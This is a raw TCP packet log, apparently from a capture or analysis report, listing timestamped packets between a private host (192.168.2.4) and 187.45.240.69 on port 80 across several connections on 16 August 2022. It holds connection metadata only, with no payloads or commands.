Aug 16, 2022 11:05:58.266314983 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266326904 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266360044 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266371012 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266379118 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266423941 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266426086 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266474962 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266479015 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266530991 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266535997 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266587019 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266592979 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266640902 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266645908 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266700029 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266702890 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266755104 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266763926 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266808987 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266812086 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266863108 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266865969 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266910076 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266918898 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.266968966 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.266972065 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267024994 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267028093 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267074108 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267077923 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267131090 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267133951 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267185926 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267189026 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267241955 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267242908 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267292976 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267294884 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267344952 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267374039 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267426014 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267441034 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267499924 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267510891 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267550945 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267560005 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267611980 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267611980 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267664909 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267667055 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267715931 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267725945 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267776966 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267786026 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267836094 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267838955 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267889977 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267891884 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267945051 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267946005 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.267997026 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.267999887 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.268049002 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.268052101 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.268101931 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.268110991 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.268148899 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.268157959 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.268205881 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.268209934 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.268260002 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.268264055 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.268312931 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.268316984 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.268369913 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.452451944 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.452543020 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.454292059 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.486167908 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.486217022 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.486301899 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.486365080 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.494411945 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.670676947 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.670731068 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.670772076 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.670795918 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.670809984 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.670836926 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.670850992 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.670881033 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.670908928 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.678302050 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:58.754030943 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:58.933056116 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.898221016 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.898256063 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.898274899 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.898289919 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.898370981 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.898437023 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.898834944 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.898854971 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.900269985 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.900707960 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.900732040 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.900748968 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.900762081 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.900793076 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.900814056 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.901629925 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.901838064 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.901859999 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.901921034 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.901949883 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.901971102 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.901984930 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.902007103 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.902028084 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.902070045 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.902076006 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.902123928 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.902131081 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.902139902 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.902178049 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.902196884 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.902537107 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.902554989 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.903593063 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.905864954 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.905890942 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.905973911 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.909939051 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.910001993 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.910033941 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.910044909 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.910054922 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.910098076 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.910104990 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.910202026 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.918113947 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.918147087 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.918210030 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.918226957 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.918243885 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.918261051 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.918277025 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.918344021 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:59.918354034 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.918404102 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.918411016 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.918416023 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:59.918421030 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.113918066 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.113960981 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.114001036 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.114063978 CEST	80	49782	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.114084959 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.114095926 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.114120960 CEST	49782	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.114156961 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.114283085 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.114826918 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.121974945 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.122100115 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.122194052 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.122292042 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.122303963 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.122395039 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.122395039 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.122400999 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.122433901 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.122500896 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.122533083 CEST	80	49781	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.122580051 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.122633934 CEST	49781	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.123090982 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.325264931 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.325711012 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.325731993 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.325747013 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.325820923 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.325856924 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.328862906 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.337752104 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.337941885 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.337985039 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.338139057 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.338223934 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.338231087 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.338268995 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.338285923 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.338325977 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.338351011 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.338357925 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.338365078 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.338366032 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.338403940 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.338443995 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.338484049 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.338649035 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.540119886 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.540155888 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.540174961 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.540188074 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.540199995 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.540200949 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.540213108 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.540901899 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.543513060 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.557962894 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558003902 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558022976 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558043003 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558063030 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558083057 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558140039 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558214903 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558222055 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558243036 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558269024 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558274984 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558314085 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558394909 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558446884 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558465004 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558490992 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558501959 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558538914 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558582067 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558600903 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558610916 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558655024 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558674097 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558681011 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558733940 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558743000 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558770895 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558794975 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.558845997 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558860064 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558865070 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.558867931 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.756254911 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.756289005 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.756310940 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.756330013 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.756349087 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.756366014 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.756367922 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.756419897 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.756473064 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.756494999 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.756545067 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.758919954 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.773861885 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.773891926 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.773910046 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.773956060 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.773989916 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774019957 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774043083 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774070978 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774080992 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774099112 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774128914 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774142981 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774151087 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774214029 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774244070 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774249077 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774265051 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774296045 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774296999 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774389982 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774424076 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774460077 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774472952 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774498940 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774509907 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774544001 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774626970 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774647951 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774666071 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774681091 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774701118 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774730921 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774743080 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774791956 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774795055 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774813890 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774841070 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774863958 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774898052 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774935961 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774955988 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.774986982 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.774998903 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775021076 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775023937 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.775068045 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.775068998 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775115013 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.775137901 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775186062 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.775192976 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775243044 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.775270939 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775291920 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775322914 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.775353909 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.775369883 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775394917 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775444984 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.775477886 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775497913 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775515079 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775530100 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.775568008 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.775595903 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775630951 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775660992 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.775691032 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.775707006 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.777517080 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.970377922 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970413923 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970431089 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970448971 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970468044 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970484972 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970494986 CEST	49785	80	192.168.2.4	187.45.240.69
